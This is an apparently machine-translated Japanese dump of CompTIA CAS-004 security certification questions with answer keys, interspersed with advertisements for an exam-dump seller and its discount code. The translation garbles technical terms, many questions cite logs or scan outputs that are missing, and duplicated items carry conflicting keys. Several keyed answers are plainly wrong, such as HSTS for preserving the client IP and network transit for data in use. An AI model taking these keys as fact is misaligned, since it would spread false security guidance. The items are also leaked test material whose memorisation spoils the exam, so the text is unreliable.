るオンプレミスのWebフィルタリングソリューションを使用しています。
セキュリティアナリストがファイアウォールから接続イベントを取得すると、送信Webトラ
フィックの送信元 IPは、Webフィルタリングソリューションの変換された IPになります。ソー
ス NATを含むこのシナリオを検討します。ワークステーションからの実際のソース IPを含める
ために HTTPヘッダーに挿入する最良のオプションは次のうちどれですか?
A.キャッシュ制御
B. X-Forwarded-For
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C.厳格なトランスポートセキュリティ
D.コンテンツセキュリティポリシー
E. X-Forwarded-Proto
Answer: C (メーッセージを残す)

最新問題: 97
脆弱性アナリストは、企業の社内開発ソフトウェアにゼロデイ脆弱性を特定しました。現在の脆

弱性管理システムにはこの脆弱性をチェックする機能がないため、エンジニアに脆弱性管理シス

テムの作成を依頼しました。

これらの要件を満たすのに最も適しているのは次のうちどれですか?
A.オーバル
B. Node.js
C. ISAC
D. ARF
Answer: A (メーッセージを残す)

最新問題: 98
ICSに出力する電力を指示するメッセージを制御するために暗号化を適用する場合、最も重要な
セキュリティ目標は次のうちどれですか?
A.メッセージの可用性をインポートする
B.メッセージの完全性の保証
C.メッセージのプロトコル準拠の強制
D.メッセージの否認防止の確保
Answer: B (メーッセージを残す)

最新問題: 99
サイバーセキュリティエンジニアは、システムの脆弱性を分析します。このツールは楕円形を作

成しました。出力としての結果文書。エンジニアが結果を人間が読める形式で解釈できるように

するには、次のうちどれですか? (2つ選択してください。)
A.イベントビューア
B. SCAPツール
C. XMLスタイルシート
D. OOXMLエディター
E.テキストエディタ
F.デバッグユーティリティ
Answer: B,E (メーッセージを残す)

最新問題: 100
セキュリティアナリストは、Linuxワークステーション上のネットワーク接続を確認し、コマンド
ラインを使用してアクティブな TCP接続を調べています。
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アクティブなインターネット接続のみを表示するには、次のコマンドのうちどれを実行するのが

最適ですか?
A. sudo netstat -pnut -w |列 -t -s $'\w'
B. sudo netstat -pnut | grep -P ^tcp
C. sudo netstat -antu | grep "聞く" | awk '{print$5}'
D. sudo netstat -nlt -p | grep "確立"
E. sudo netstat -plntu | grep -v "外国の住所"
Answer: D (メーッセージを残す)

最新問題: 101
CSPの観点から最も重要なクラウド固有のリスクは次のうちどれですか?
A.絶縁制御異常
B.安全でないデータの削除
C.管理プレーンの侵害
D.リソース枯渇
Answer: C (メーッセージを残す)

最新問題: 102
セキュリティエンジニアは、次のような最近のデータ侵害インシデント後のイベントの記録を確

認しています。

*ハッカーが偵察を実施し、同社のインターネットに接続されたWebアプリケーション資産の
フットプリントを作成しました。

*サードパーティのホラリーの脆弱性がハッカーによって悪用され、ローカルアカウントが侵害
されました。

*ハッカーはアカウントの過剰な権限を利用してデータストアにアクセスし、検出されることな
くデータを流出させました。

今後この種の攻撃が成功するのを防ぐための最善の解決策は次のうちどれですか?
A.動的解析
B.セキュアなWebゲートウェイ
C.ソフトウェア構成分析
D.ユーザー行動分析
E.Webアプリケーションファイアウォール
Answer: E (メーッセージを残す)
説明

Webアプリケーションファイアウォール (WAF)は、Webアプリケーションのトラフィックを検
査し、SQLインジェクション、クロスサイトスクリプティング、悪意のあるファイルのアップ
ロードなどの悪意のあるアクティビティを検出して防止できるセキュリティデバイスです。この

種の攻撃は、悪意のあるトラフィックを監視してブロックするためにWAFが導入されていれば
防止できた可能性があります。資力：
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CompTIA Advanced Security Practitioner (CASP+)スタディガイド、第 4章:「Webアプリケー

ションファイアウォール」、Wiley、
2018. https://www.wiley.com/en-us/CompTIA+Advanced+Security+Practitioner+CASP%2B
+Study+Guide%2C

最新問題: 103
アナリストはインターネットに接続された DNSサーバーに対して脆弱性スキャンを実行し、次
のレポートを受け取ります。

最も重大な脆弱性を検証するために、アナリストは次のツールのうちどれを最初に使用する必要

がありますか?
A.エクスプロイトのフレームワーク
B.アカウント列挙子
C.パスワードクラッカー
D.ポートスキャナ
Answer: C (メーッセージを残す)

最新問題: 104
次の協定のうち、罰則がなく、同じ目標に向かって協力する 2つの組織が署名できる協定はどれ
ですか?
A.秘密保持契約
B. SLA
C.覚書
D. ISA
Answer: C (メーッセージを残す)

最新問題: 105
DevOpsチームは、新しい請求システムをサポートする PaaSソリューションとして、データベー
ス、イベント駆動型サービス、APIゲートウェイをデプロイしました。DevOpsチームが実行する
必要があるセキュリティ上の責任は次のうちどれですか?
A.認証メカニズムを安全に構成する
B.ライフサイクル管理の一環としてサービスをアップグレードする
C.サービスに対してポートスキャンを実行します。
D.オペレーティングシステムのインフラストラクチャにパッチを適用します。
Answer: (解答を表示する)

最新問題: 106
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組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:



有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 107
セキュリティアナリストは、サードパーティのペネトレーションテスターによって最近実行され

たエクスプロイトの成功結果を読んでいます。テスターは特権付き実行可能ファイルをリバース

エンジニアリングしました。レポートでは、エクスプロイトの計画と実行が、ログとテストの出力

を使用して詳細に説明されています。ただし、エクスプロイトの攻撃ベクトルが欠落しているた

め、修復の推奨が困難になります。次の出力があるとします。
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ペネトレーションテスターが利用した可能性が最も高いのは次のとおりです。

A.整数オーバーフローの脆弱性
B. TOC/TOUの脆弱性
C.平文パスワードの開示
D.バッファオーバーフローの脆弱性
Answer: B (メーッセージを残す)

最新問題: 108
暗号化ソリューションを利用して使用中のデータを保護すると、データが確実に暗号化されま

す。

A.ローカルネットワーク経由で渡される場合。
B.エンタープライズハードウェアセキュリティモジュールによる。
C.処理中のメモリ内
D.システムのソリッドステートドライブに書き込まれるとき。
Answer: A (メーッセージを残す)

最新問題: 109
ユーザーは、Webサーバーにアクセスできないと主張しています。セキュリティエンジニアがサ
イトにログを記録します。エンジニアはサーバーに接続して netstat -anを実行し、次の出力を受
け取ります。

サーバーで発生する可能性が最も高いのは次のうちどれですか?
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A.ポートスキャン
B. ARPスプーフィング
C.バッファオーバーフロー
D.サービス拒否
Answer: (解答を表示する)
説明

サービス拒否 (DoS)攻撃は、サーバーにリクエストやトラフィックを大量に送り込み、サーバー
の通常の機能を妨害しようとする悪意のある試みです。DoS攻撃の兆候の 1つは、単一の送信元
IPアドレスからの多数の接続です1。この場合、netstat -anの出力は、213.37.55.67からの、異な
るポート番号を持つ、TIME WAIT状態の接続が多数存在することを示しています23。これは、攻
撃者が接続を開始するために多数の SYNパケットを送信しているものの、接続を完了していな
いため、サーバーのリソースが枯渇し、正規のユーザーがアクセスできなくなっていることを示

唆しています1。

最新問題: 110
ある企業は、稼働中のオンサイトデータセンター全体にインストールされた新しいストレージソ

リューションに総額 1,000万ドルを投資しました。この投資のコストの適切な割合はソリッドス
テートストレージに当てられました。このストレージの摩耗率が高いため、同社は年間 5%の交
換が必要になると見積もっています。ストレージ交換による ALEは次のうちどれですか?
A. 250,000ドル
B. 50,000ドル
C. $500,000
D. 5,100万ドル
E. 125,000ドル
Answer: (解答を表示する)
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最新問題: 111
ある組織は、企業のモバイルデバイスユーザーに、企業リソースにリモートでアクセスするため

にモバイルデバイスにインストールする必要がある microSD HSMの発行を開始することを決定
しました。これらのデバイスの次の機能のうち、この決定に最もつながった可能性が最も高いの

はどれですか? (2つ選択してください。)
A.ソフトウェアベースのキーストア
B.ストリーム暗号のサポート
C. TPM 2.0認証サービス
D.組み込み暗号プロセッサ
E.分散型キー管理
F.ハードウェア支援の公開鍵ストレージ
Answer: D,F (メーッセージを残す)

最新問題: 112
CASBまたはサードパーティエンティティへの暗号化キーの配信を指す用語は次のどれですか?
A.キーエスクロー
B.鍵共有
C.鍵配布
D.キーの回復
Answer: (解答を表示する)

最新問題: 113
セキュリティアナリストは、次のアクティビティを示す多数の SIEMイベントに気づきました。
アナリストは次の対応アクションのうちどれを最初に実行する必要がありますか?
A.すべての Microsoft Windowsエンドポイントで powershell.exeを無効にします。
B. Microsoft Windows Defenderを再起動します。
C. 40.90.23.154をブロックするようにフォワードプロキシを構成します。
D.エンドポイントのローカル管理者権限を無効にします。
Answer: C (メーッセージを残す)
データの漏洩を最優先にして、最初にすべての悪意のあるトラフィックを遮断し、次に内部の混

乱をクリーンアップします。

最新問題: 114
セキュリティアナリストが次の脆弱性評価レポートをレビューしています。

インターネットに接続されているホストに対する攻撃を最小限に抑えるために、最初にパッチを

適用する必要があるのは次のうちどれですか?

https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html
https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html
https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html


A.サーバー
B.サーバー2
C.サーバー1
D.サーバー 3
Answer: C (メーッセージを残す)

最新問題: 115
組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:
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最新問題: 116
最高情報セキュリティ責任者 (CISO)は、内部ホストの脆弱性スキャンから得た以下の情報に基
づいて是正措置計画を策定しています。

この発見に対して文書化するのに最も適切な是正措置は次のうちどれですか?
A.システム管理者は依存関係を評価し、必要に応じてアップグレードを実行する必要がありま
す。

B.製品所有者は、WAFの実装能力に関してビジネスへの影響評価を実行する必要があります。
C.セキュリティオペレーションセンターは、このサーバーに対する攻撃バッファオーバーフ
ローを防ぐカスタム IDSルールを開発する必要があります。
D.アプリケーション開発者は、静的コード分析ツールを使用して、アプリケーションコードが
バッファオーバーフローに対して脆弱でないことを確認する必要があります。

Answer: B (メーッセージを残す)

最新問題: 117
アプリケーション開発者は、アプリケーションにサードパーティのバックグラウンドセキュリ

ティ修正を含めています。この修正により、現在特定されているセキュリティ問題が解決される

ようです。しかし、アプリケーションを公開すると、以前の脆弱性が再発したという報告が入りま
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す。この種の動作を最も効果的に防止するには、開発者がプロセスに統合する必要があるのは次

のうちどれですか?
A.ユーザーの受け入れ
B.動的解析
C.査読
D.回帰テスト
Answer: C (メーッセージを残す)

最新問題: 118
Webサーバーからの次のログスニペットがあるとします。

このタイプの攻撃を最も適切に説明しているのは次のうちどれですか?
A. SQLインジェクション
B.クロスサイトリクエストフォージェリング
C.クロスサイトスクリプティング
D.ブルートフォース
Answer: B (メーッセージを残す)

最新問題: 119
開発者は会社用に新しいモバイルアプリケーションを作成しています。アプリケーション

は、REST APIおよび TLS 1.2を使用して、外部バックエンドサーバーと安全に通信します。この
構成により、同社は HTTPS傍受攻撃を懸念しています。
この種の攻撃に対する最善の解決策は次のうちどれですか?
A.クッキー
B.証明書の固定
C.ワイルドカード証明書
D. HSTS
Answer: B (メーッセージを残す)

最新問題: 120
A社はB社と契約を締結しています。
契約条件は、支払い条件、責任の制限、および知的財産権を含む文書で正式に定められています。

次の文書のうち、これらの要素が含まれる可能性が最も高いのはどれですか

A. A社 OLA v1b.docx
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B. AB社 SLA v2.docx
C. A社 MSA v3.docx
D. A社 MOU v1.docx
E. AB社 NDA v03.docx
Answer: B (メーッセージを残す)

最新問題: 121
サイバーセキュリティエンジニアは、システムの脆弱性を分析します。このツールは楕円形を作

成しました。出力としての結果文書。エンジニアが結果を人間が読める形式で解釈できるように

するには、次のうちどれですか? (2つ選択してください。)
A.デバッグユーティリティ
B. SCAPツール
C.イベントビューア
D.テキストエディタ
E. OOXMLエディター
F. XMLスタイルシート
Answer: E,F (メーッセージを残す)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 122
中小企業は運営コストを削減する必要があります。ベンダーはソリューションを提案しています

が、それらはすべて企業のWebサイトとサービスの管理に焦点を当てています。最高情報セキュ
リティ責任者 (CISO)は、提案に含まれるすべての利用可能なリソースを専用にする必要がある
と主張していますが、プライベートクラウドの管理は選択肢ではありません。この会社にとって

最適なソリューションは次のうちどれですか?
A.多機能 SaaS
B.オンプレミスクラウドサービスモデル
C.シングルテナンシー SaaS
D.コミュニティクラウドサービスモデル
Answer: D (メーッセージを残す)

最新問題: 123
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セキュリティアナリストは、企業のクラウドログ内のネットワークトラフィックを調べている

ときに、次のことを観察しました。

セキュリティアナリストは次のどの手順を最初に実行する必要がありますか?
A. 10.0.50.6のWebログを調査して、これが通常のトラフィックであるかどうかを判断します。
B. EDR経由で 10.0.5.52にアクセスし、ネットワーク接続のあるプロセスを特定します。
C.セキュリティグループを介して 10.0.50.6を隔離します。
D. 10.0.5.52を隔離し、ホストに対してマルウェアスキャンを実行します。
Answer: A (メーッセージを残す)

最新問題: 124
最高情報セキュリティ責任者 (CISO)は、内部ホストの脆弱性スキャンから得た以下の情報に基
づいて是正措置計画を策定しています。

この発見に対して文書化するのに最も適切な是正措置は次のうちどれですか?
A.セキュリティオペレーションセンターは、このサーバーに対する攻撃バッファオーバーフ
ローを防ぐカスタム IDSルールを開発する必要があります。
B.製品所有者は、WAFの実装能力に関してビジネスへの影響評価を実行する必要があります。
C.アプリケーション開発者は、静的コード分析ツールを使用して、アプリケーションコードが
バッファオーバーフローに対して脆弱でないことを確認する必要があります。

D.システム管理者は依存関係を評価し、必要に応じてアップグレードを実行する必要がありま
す。

Answer: B (メーッセージを残す)

最新問題: 125
CSPが複数のデータストレージに暗号化を追加できるようにするテクノロジーは次のどれです
か?
A.対称暗号化
B.ビット分割
C.データの分散
D.準同型暗号化
Answer: B (メーッセージを残す)

最新問題: 126
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ネットワーキングチームは、会社の全従業員に安全なリモートアクセスを提供するよう依頼され

ました。チームは、ソリューションとしてクライアントからサイトへの VPNを使用することにし
ました。議論の中で、最高情報セキュリティ責任者はセキュリティ上の懸念を提起し、リモート

ユーザーのインターネットトラフィックを本社のインフラストラクチャ経由でルーティングす

るようネットワークチームに依頼しました。これを行うと、リモートユーザーが VPNに接続し
ている間、ローカルネットワーク経由でインターネットにアクセスできなくなります。

これが説明する解決策は次のどれですか?
A.フルトンネリング
B.非対称ルーティング
C. SSHトンネリング
D.スプリットトンネリング
Answer: A (メーッセージを残す)
説明

懸念されるのは、説明されているようなスピットトンネル構成で動作しているユーザーです。フ

ルトンネルを使用すると、すべてのアプリケーションからのトラフィックが単一のトンネルを介

してルーティングされます。

https://cybernews.com/what-is-vpn/split-tunneling/

最新問題: 127
ある会社が顧客向けに外部アプリケーションを作成しました。あるセキュリティ研究者は、アプ

リケーションに重大な LDAPインジェクションの脆弱性があり、それを利用して認証と認可をバ
イパスできる可能性があると報告しています。

次のアクションのうち、問題を最もよく解決するのはどれですか? (2つお選びください。)
A.入力サニタイズを行います。
B. SIEMを導入します。
C.コンテナを使用します。
D. OSにパッチを適用します
E.WAFを展開します。
F.リバースプロキシを展開します。
G. IDSを展開します。
Answer: A,E (メーッセージを残す)
説明

WAFは、Webアプリケーションに送信される悪意のある HTTP/Sトラフィックをフィルタリン
グ、監視、ブロックすることでWebアプリケーションを保護し、不正なデータがアプリから流出
するのを防ぎます。これは、どのトラフィックが悪意があり、どのトラフィックが安全かを判断す

るのに役立つ一連のポリシーに従うことによって行われます。

最新問題: 128
ある企業は、管理された検出および対応サービスを実行する MSSPにアウトソーシングしていま
す。MSSPでは、サーバーをログ集約としてネットワーク内に配置する必要があり、MSSPアナリ

https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html
https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html


ストへのリモートアクセスが可能になります。重要なデバイスはログアグリゲーターにログを送

信し、データはマルチテナントクラウドにアーカイブされる前に 12か月間ローカルに保存され
ます。その後、データは分析のためにログ集合体から MSSPデータセンターのパブリック IPアド
レスに送信されます。

セキュリティエンジニアはソリューションのセキュリティを懸念しており、次の点に注意してい

ます。

*重要なデバイスは平文ログをアグリゲーターに送信します。
*ログアグリゲータはフルディスク暗号化を利用します。
*ログアグリゲーターはポート 80経由で分析サーバーに送信します。
* MSSP分析では、MFAを備えた SSL VPNを利用してログアグリゲーターにリモートアクセス
します。

※データは圧縮・暗号化されてクラウド上に保存されます。
エンジニアが最も懸念すべきことは次のうちどれですか?
A.リモートアクセス VPNからのネットワークブリッジング
B.クラウド内のマルチナンシーとデータ残存
C.ログ集約サーバーによって導入されたハードウェアの脆弱性
D.転送中のデータの暗号化
Answer: D (メーッセージを残す)

最新問題: 129
会社では、あるタスクを複数の人が同時に実行する必要があります。これは次の例です。

A.デュアルコントロール
B.職務の分離。
C.最低権限
D.ジョブローテーション
Answer: B (メーッセージを残す)

最新問題: 130
ペネトレーションテスターはWindowsサーバー上のルートアクセスを取得し、関与規則に従っ
て、永続化のためにエクスプロイト後の実行を許可されます。

これをサポートするのに最も適した手法は次のどれですか?
A.任意のコード実行エクスプロイトを悪用する
B.より権威のあるサーバー/サービスへの横方向の移動
C.起動時に systemdサービスが自動的に実行されるように構成する
D.バックドアの作成
Answer: (解答を表示する)

最新問題: 131
企業の最高情報責任者は、現在のシステムのアーキテクチャに IDSソフトウェアを実装して、追
加のセキュリティ層を提供したいと考えています。ソフトウェアは、システムアクティビティを
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監視し、試行された攻撃に関する情報を提供し、関与しているプロセスまたはユーザーを特定す

るために悪意のあるアクティビティを分析できる必要があります。この情報を提供するものは次

のうちどれですか?
A. NIDS
B. HDS
C.ヒップ
D.ウエバ
Answer: (解答を表示する)

最新問題: 132
ネットワークアーキテクトは、すべてのローカルサイトを中央ハブサイトに接続するための新

しい SD-WANアーキテクチャを設計しています。その後、ハブはトラフィックをパブリッククラ
ウドおよびデータセンターアプリケーションにリダイレクトする役割を果たします。SD-WAN
ルーターは SaaSを通じて管理され、オフィス内で働くか遠隔地で働くかに関係なく、同じセ
キュリティポリシーがスタッフに適用されます。主な要件は次のとおりです。

1.ネットワークは、99.99%の稼働率を持つコアアプリケーションをサポートします。
2. SD-WANルーターの構成更新は、管理サービスからのみ開始できます。
3. Webサイトからダウンロードしたドキュメントはマルウェアをスキャンする必要があります。
要件を満たすために、ネットワーク設計者は次のソリューションのうちどれを実装する必要があ

りますか?
A.ハブの IPS、レイヤー 4ファイアウォール、および DLP
B.ローカルサイトのリバースプロキシ、ステートフルファイアウォール、および VPN
C.ハブサイトでの DoS防御、相互証明書認証、クラウドプロキシ
D. IDS、WAF、およびフォワードプロキシ IDS
Answer: D (メーッセージを残す)

最新問題: 133
A社が Companyを買収しました。セキュリティエンジニアは監査中に、B社の環境にパッチが
適切に適用されていないことを発見しました。これに応じて、A社は、B社のインフラストラク
チャが A社のセキュリティプログラムに統合されるまで、2つの環境の間にファイアウォールを
設置しました。

次のリスク処理手法のうちどれが使用されましたか?
A.軽減する
B.回避
C.受け入れる
D.転送
Answer: A (メーッセージを残す)

最新問題: 134
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ある組織は、運用環境システムをオンプレミス環境からクラウドサービスに移行する準備をして

います。リードセキュリティアーキテクトは、リスクに対処するための組織の現在の方法がクラ

ウド環境では不可能である可能性があることを懸念しています。

リスクに対処する従来の方法がクラウドでは不可能である理由を最も適切に説明しているものは

次のうちどれですか?
A.クラウド上のデータに対するリスクを軽減できません。
B.クラウドプロバイダーはリスクを回避できません。
C.移行操作はすべてのリスクを受け入れることを前提としています。
D.特定のリスクをクラウドプロバイダーに移転することはできません。
Answer: A (メーッセージを残す)

最新問題: 135
シミュレーション

あなたは、会社の特権ネットワークからの Nmapスキャン出力を解釈する任務を負ったセキュリ
ティアナリストです。

同社の強化ガイドラインでは次のことが示されています。

デバイスごとに 1つのプライマリサーバーまたはサービスが必要です。
デフォルトのポートのみを使用する必要があります。

安全でないプロトコルは無効にする必要があります。

手順

Nmapの出力を使用して、ネットワーク上のデバイスとその役割、および閉じるべき開いている
ポートを特定します。

Nmapによって検出されたデバイスごとに、次の情報を含むデバイスエントリをデバイス検出リ
ストに追加します。

デバイスのIPアドレス
デバイスのプライマリサーバーまたはサービス (各 IPは 1つのサービス/ポートのみに関連付け
られる必要があることに注意してください)強化ガイドラインに基づいて無効にする必要がある
プロトコル (準拠するには複数のポートを閉じる必要がある場合があることに注意してください)
強化ガイドライン)シミュレーションの初期状態に戻したい場合は、いつでも [すべてリセット]
ボタンをクリックしてください。
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Answer:
10.1.45.65 SFTPサーバーの無効化 8080
10.1.45.66電子メールサーバー 415および 443を無効にする
10.1.45.67 Webサーバー無効化 21、80
10.1.45.68 UTMアプライアンスの無効化 21



最新問題: 136
デジタル変革を進めている企業は、CSPの復元力を検討しており、CSPインシデントが発生した
場合に SLA要件を満たせるかどうかを懸念しています。
変革を進めるのに最適なのは次のうちどれですか?
A.ラウンドロビン構成のロードバランサ
B.バックアップとしてのオンプレミスソリューション
C.同じテナント内のアクティブ/アクティブソリューション
D.マルチクラウドプロバイダーソリューション
Answer: (解答を表示する)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 137
ある企業は、データベースに保存されているデータを隠すソリューションを探しています。ソ

リューションは次の要件を満たす必要があります。

実稼働環境を効率的に保護する

アプリケーションを変更する必要はありません

プレゼンテーション層で動作する

次のテクニックのうちどれを使用する必要がありますか?
A.ランダム置換
B.アルゴリズム
C.マスキング
D.トークン化
Answer: (解答を表示する)

最新問題: 138
ホームオートメーション会社は、自社が開発したソフトウェアでインシデントの特定と対応を可

能にするために、SOC用のツールを購入してインストールしました。同社は、次の攻撃シナリオ
に対する防御を優先したいと考えています。

アプリケーション開発環境への不正な挿入

許可された内部関係者が環境構成を不正に変更する

次のアクションのうち、開発環境に対するこの種の攻撃を検出するために必要なデータフィード

が有効になるのはどれですか? (2つお選びください。)
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A.依存関係管理ツールを監視し、影響を受けやすいサードパーティライブラリについてレポート
します。

B.開発サブネットに IDSをインストールし、脆弱なサービスを受動的に監視します。
C.リポジトリへのコードのコミットを継続的に監視し、概要ログを生成します。
D.コミットされたコードの静的コード分析を実行し、概要レポートを生成します。
E. XMLゲートウェイを実装し、ポリシー違反を監視します。
F.ユーザーの行動をモデル化し、通常からの逸脱を監視します。
Answer: C,D (メーッセージを残す)

最新問題: 139
セキュリティアナリストは、サードパーティのペネトレーションテスターによって最近実行され

たエクスプロイトの成功結果を読んでいます。テスターは特権付き実行可能ファイルをリバース

エンジニアリングしました。レポートでは、エクスプロイトの計画と実行が、ログとテストの出力

を使用して詳細に説明されています。ただし、エクスプロイトの攻撃ベクトルが欠落しているた

め、修復の推奨が困難になります。次の出力があるとします。

ペネトレーションテスターが利用した可能性が最も高いのは次のとおりです。

A. TOC/TOUの脆弱性
B.整数オーバーフローの脆弱性
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C.平文パスワードの開示
D.バッファオーバーフローの脆弱性
Answer: A (メーッセージを残す)

最新問題: 140
ある会社が新しいビデオカードをリリースしたところです。供給が限られており需要が高いた

め、攻撃者は自動システムを利用して同社のWebストアを通じてデバイスを購入し、二次市場で
再販できるようにしています。同社の対象顧客は不満を抱いています。セキュリティエンジニア

は、自動システムを通じて購入するビデオカードの数を減らすために、Webストアに CAPTCHA
システムを実装することを提案しています。リスクのレベルを表すものは次のうちどれですか?
A.低い
B.軽減されました
C.転送済み
D.固有のもの
E.残留。
Answer: E (メーッセージを残す)

最新問題: 141
セキュリティ監査人は、エンターテインメントデバイスの動作方法を審査する必要があります。

監査人は、セキュリティレビューの次のステップを決定するために、ポートスキャンツールの出

力を分析しています。次のログ出力があるとします。

監査人が NEXTを使用するための最良のオプションは次のとおりです。

A.ネットワーク傍受。
B.リバースエンジニアリング
C. SCAP評価。
D.ファジング
Answer: (解答を表示する)

最新問題: 142
企業の従業員は、海外旅行中に企業システムにアクセスすることを許可されていません。会社の

電子メールシステムは、地理的位置に基づいてログインをブロックするように構成されています

が、一部の従業員は、携帯電話が旅行中に電子メールを同期し続けていると報告しています。最も

可能性の高い説明は次のうちどれですか? (2つ選択してください。)
A.時代遅れのエスカレーション攻撃
B.無制限の電子メール管理者アカウント
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C.モバイルデバイス上の VPN
D. UDPプロトコルの主な用途
E.モバイルデバイスの GPSが無効になっています
F.権限昇格攻撃
Answer: C,E (メーッセージを残す)

最新問題: 143
ある企業はグローバルサービスの展開を準備しています。

GDPRへの準拠を確保するために企業が行う必要があるのは次のうちどれですか? (2つお選びく
ださい。)
A.どのようなデータが保存されているかをユーザーに通知します。
B.マーケティングメッセージのオプトイン/アウトを提供します。
C.データ削除機能を提供します。
D.オプションのデータ暗号化を提供します。
E.第三者にデータへのアクセスを許可します。
F.代替認証技術を提供します。
Answer: A,C (メーッセージを残す)
GDPRに基づく個人の主な権利は次のとおりです。
サブジェクトへのアクセスを許可する

不正確な点を修正してもらいました

情報を消去してもらう

ダイレクトマーケティングを防ぐ

自動化された意思決定とプロファイリングを防止する

データの移植性を許可します（上記の段落に従って）

ソース: https://www.clouddirect.net/11-things-you-must-do-now-for-gdpr-compliance/

最新問題: 144
技術者は、現在のサーバーハードウェアが時代遅れであると判断し、廃棄することにしました。

廃棄する前に、データ残骸を確実に復元できないようにするための最良の方法は次のうちどれで

すか?
A.ドライブワイピング
B.物理的破壊
C.消磁
D.パージ
Answer: (解答を表示する)

最新問題: 145
組織は、次の目的を持って、新しい IDおよびアクセス管理アーキテクチャを実装しています。
オンプレミスのインフラストラクチャに対する MFAのサポート
SaaSアプリケーションとの統合によるユーザーエクスペリエンスの向上
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場所に基づいたリスクベースのポリシーの適用

ジャストインタイムプロビジョニングの実行

これらの要件をサポートするには、組織が実装する必要がある認証プロトコルは次のうちどれで

すか?
A. OTPおよび 802.1X
B. OAuthと OpenID
C. SAMLと RADIUS
D. Kerberosと TACACS
Answer: D (メーッセージを残す)

最新問題: 146
PCI DSS v3.4に基づいて、One Particularデータベースフィールドにはデータを保存できます
が、データは読み取り不可能でなければなりません。次のデータオブジェクトのうち、この要件を

満たすものはどれですか?
A.有効期限
B. CVV2
C.カード所有者名
D.パン
Answer: D (メーッセージを残す)

最新問題: 147
中小企業は、製造および販売する音声録音の盗難を検出するための低コストのアプローチを必要

としています。

次の手法のうち、ビジネスのニーズを満たす可能性が最も高いのはどれですか?
A.識別用のファイルシステムメタデータをデジタルオーディオファイルに追加します。
B.すべてのデジタルオーディオファイルのディープパケットインスペクションを実行します。
C. DRMスイートの購入とインストール
D.ステガノグラフィーの実装
Answer: C (メーッセージを残す)

最新問題: 148
セキュリティアーキテクトは、RDPの次の要件に対応するために既存の内部ネットワーク設計
を変更するように依頼されました。

* RDPに MFAを適用する
* RDP接続が安全な暗号でのみ許可されていることを確認してください。
既存のネットワークは非常に複雑で、十分にセグメント化されていません。これらの制限のため、

同社は、ACLのネットワークレベルのファイアウォールによって接続が制限されないように要求
しました。

これらの要件を満たすために、セキュリティアーキテクトは次のどれを推奨する必要があります

か?
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A.安全な暗号構成が適用されたリモートデスクトップ用のリバースプロキシを実装します。
B. TLS暗号スイートを強制し、リモートデスクトップアクセスを VPNユーザーのみに制限する
GPOを実装します。
C.リモートデスクトップゲートウェイサーバーを実装し、安全な暗号を適用し、OTPを使用す
るように構成します。

D.安全な暗号構成が適用された要塞ホストを実装します。
Answer: (解答を表示する)

最新問題: 149
法医学捜査官は、次の目的で最も重要なコマンドを使用します。

A.メールアドレスなどの機能の抽出
B.ネットワークでキャプチャされたパケットを分析します。
C.ディスクのクローンを作成します。
D.失われたファイルを回復します。
Answer: (解答を表示する)

最新問題: 150
セキュリティコンサルタントは、Active Directoryを持たない小規模オフィスにワイヤレスセ
キュリティを設定する必要があります。

中央のアカウント管理が欠如しているにもかかわらず、オフィスマネージャーは、ワイヤレス認

証に対するブルートフォース攻撃を防ぐために高レベルの防御を確保したいと考えています。

このニーズに最も適したテクノロジーは次のうちどれですか?
A.ファラデーケージ
B.WPA2 PSK
C.WPA3 SAE
D.WEP128ビット
Answer: C (メーッセージを残す)
説明

WPA3 SAEはブルートフォース攻撃を防ぎます。

最新問題: 151
重要ではないサードパーティベンダーに対する組織の評価により、そのベンダーがサイバーセ

キュリティ保険に加入しておらず、ITスタッフの離職率が高いことが明らかになりました。この
組織はベンダーを利用して、顧客のオフィス機器をあるサービス拠点から別のサービス拠点に移

動します。ベンダーは APIを介して顧客データを取得し、ビジネスにアクセスします。
この情報を踏まえると、注目されるリスクは次のうちどれですか?
A. API構成への技術的影響
B.ベンダーのデータ侵害による金銭的責任
C.ベンダーの営業停止の可能性
D.ソフトウェア開発サイクルの延長による機能の遅延
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Answer: B (メーッセージを残す)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

